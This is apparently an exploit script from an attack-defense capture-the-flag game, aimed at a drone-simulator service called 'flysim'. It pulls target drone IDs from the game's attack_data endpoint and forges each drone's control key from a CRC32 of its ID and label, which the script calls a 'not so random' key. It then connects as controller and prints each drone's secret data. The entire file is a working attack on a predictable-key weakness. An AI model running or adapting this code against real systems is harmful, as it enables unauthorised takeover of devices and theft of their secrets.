35 lines
913 B
Python
Executable File
35 lines
913 B
Python
Executable File
#!/usr/bin/env python3
|
|
|
|
import requests
|
|
import sys
|
|
import drone_client
|
|
import time
|
|
import json
|
|
import zlib
|
|
|
|
|
|
def droneid_to_drone_obj(client, drone_id):
|
|
det = client.get_drones_with_details(json.dumps([{"$match": {}}]))
|
|
for d in det:
|
|
if d["id"] == drone_id:
|
|
return d
|
|
return None
|
|
|
|
|
|
IP = sys.argv[1]
|
|
drone_ids = requests.get("http://10.10.10.10/api/client/attack_data/").json()["flysim"][
|
|
IP
|
|
]
|
|
for drone_id in drone_ids[::-1]:
|
|
client = drone_client.DroneClient(ip=IP)
|
|
drone_obj = droneid_to_drone_obj(client, drone_id)
|
|
client.drone_id = drone_id
|
|
cont_key = hex(zlib.crc32((drone_id + drone_obj["label"]).encode()))[
|
|
2:
|
|
] # generate 'not so random' control_key
|
|
client.control_key = cont_key
|
|
client.connect_to_drone()
|
|
|
|
drone_obj_with_secret = client.wait_for_data_msg(timeout=30)
|
|
print(drone_obj_with_secret["secret_data"], flush=True)
|